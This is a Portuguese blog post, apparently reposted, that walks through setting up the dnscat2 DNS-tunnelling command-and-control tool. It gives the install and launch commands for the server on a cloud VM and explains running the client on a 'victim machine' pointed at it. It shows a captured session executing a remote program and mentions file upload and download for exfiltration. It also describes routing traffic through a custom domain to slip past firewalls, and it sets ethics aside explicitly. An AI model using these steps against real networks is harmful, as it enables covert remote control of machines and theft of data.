Gostei, pois isso replico a publicação aqui….

Referência: https://github.com/iagox86/dnscat2

Uma das grandes preocupações de quem administra firewalls é justamente evitar que haja qualquer buraco que possa permitir o comprometimento de sua rede e exfiltração de informações sensíveis através de conexões remotas, principalmente através de aplicações que se utilizam da técnica Command&Control (C2).
Entretanto, sabemos que para o bom funcionamento de qualquer ambiente, alguns serviços e protocolos precisam ser liberados, como é o caso do DNS. O grande problema aqui, é que tanto o DNS, quanto outros protocolos, podem ser utilizados para encapsular informações que as regras de firewall pode deixar passar, por conta de analisarem apenas uma camada específica e apenas parte do payload dos pacotes.
É importante apenas frisar que o DNS é considerado tanto um protocolo quanto um serviço (referências podem ser encontradas aqui). Esse protocolo é nativo da camada de aplicação do modelo OSI, e suas propriedades permitem que protocolos de camadas mais baixas sejam encapsulados em pacotes DNS, o que ajudaria o processo de bypass nas regras de firewalls.
Obviamente, como tudo existe para facilitar nossas vidas, é possível utilizar aplicações já prontas para facilitar todo esse processo, o que facilita a vida tanto de pentesters quanto de atacantes reais.
Bem, implicações éticas à parte, já que somos adultos e sabemos de todas as consequências do uso de tais ferramentas para fins não éticos, vamos ao que é possível fazer com a ferramenta eleita de hoje: o dnscat2.
A primeira coisa que precisamos ter em mente é que essa ferramenta funciona no esquema de cliente/servidor. Portanto, é importante que tenha uma máquina virtual na cloud para servir de local para hospedar o server da ferramenta, como um droplet no Digital Ocean, por exemplo.
Após o deployment de sua VM na cloud, basta baixar e instalar o dnscat2 server, com os seguintes comandos:

# apt-get update

# apt-get -y install ruby-dev git make g++

# gem install bundler

# git clone https://github.com/iagox86/dnscat2.git

# cd dnscat2/server

# bundle install

Nota: Trabalho com o Mac OS X e com brew. Todos os pré-reqs foram instalados por ele, brew, e sem problemas.
E após instalar o server, para ativá-lo basta usar o comando abaixo, a partir de dentro do diretório dnscat2/server:

# ruby ./dnscat2.rb

Com isso feito, basta agora executar o cliente na máquina vítima, ou de sua máquina dentro da rede de onde quer fazer a conexão, usando simplesmente o parâmetro “–host [IP-do-server]”. Caso a máquina de onde esteja rodando o cliente seja Windows, basta baixar o binário pré-compilado do site do desenvolvedor: https://downloads.skullsecurity.org/dnscat2/ e executá-lo com o mesmo parâmetro (–host [IP-do-server]).
Assim que o cliente for executado, poderá perceber que no server você receberá o laerta de uma nova conexão existente com um cliente, como abaixo:

# ruby ./dnscat2.rb

Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]…

No domains were selected, which means this server will only respond to direct queries (using –host and –port on the client)

dnscat2> New session established: 1258

dnscat2>

O que é mais interessante, é que a partir do server você poderá interagir com o cliente a qualquer momento, executando comandos e carregando aplicações definindo com qual sessão deseja interagir, como por exemplo:

dnscat2> session -i 1258

Welcome to a command session!

Use ‘help’ for a list of commands or ^z for the main menu

dnscat [command: 1258]> exec notepad.exe

Sent request to execute

dnscat [command: 1258]>

dnscat2 também suporta outros comandos, como download e upload, para exfiltragem de informações por exemplo.
Outra forma interessante, para tornar nossa estrutura mais robusta, é configurar um servidor DNS em alguma outra droplet (VM na cloud) usando um name específico, como hackproofing.com por exemplo, e configurá-lo para atuar como um servidor de DNS rodando em um IP válido, que servirá de intermediário entre o server e o client.
Sendo assim, precisaremos configurar o server para rodar conectado à esse DNS com o comando:

# ruby ./dnscat2.rb hackproofing.com

E o client a mesma coisa, mas agora sem o parâmetro –host, simplesmente colocando o nome do DNS “hackproofing.com” após o comando de execução do cliente dnscat2.
Dessa maneira, se executar um wireshark para analisar as requisições saindo da rede local, verá várias requisições feitas ao DNS “hackproofing.com”. E obviamente, dependendo da quantidade de tráfego gerado por essas conexões, para um administrador de redes atento, isso chamará sua atenção.
Esse é o básico de utilização da ferramenta! Portanto, divirtam-se e descubram novas funcionalidades e formas de utilizá-la.
Nota 2: ele também é autor do hash_extender – ferramenta bem legal.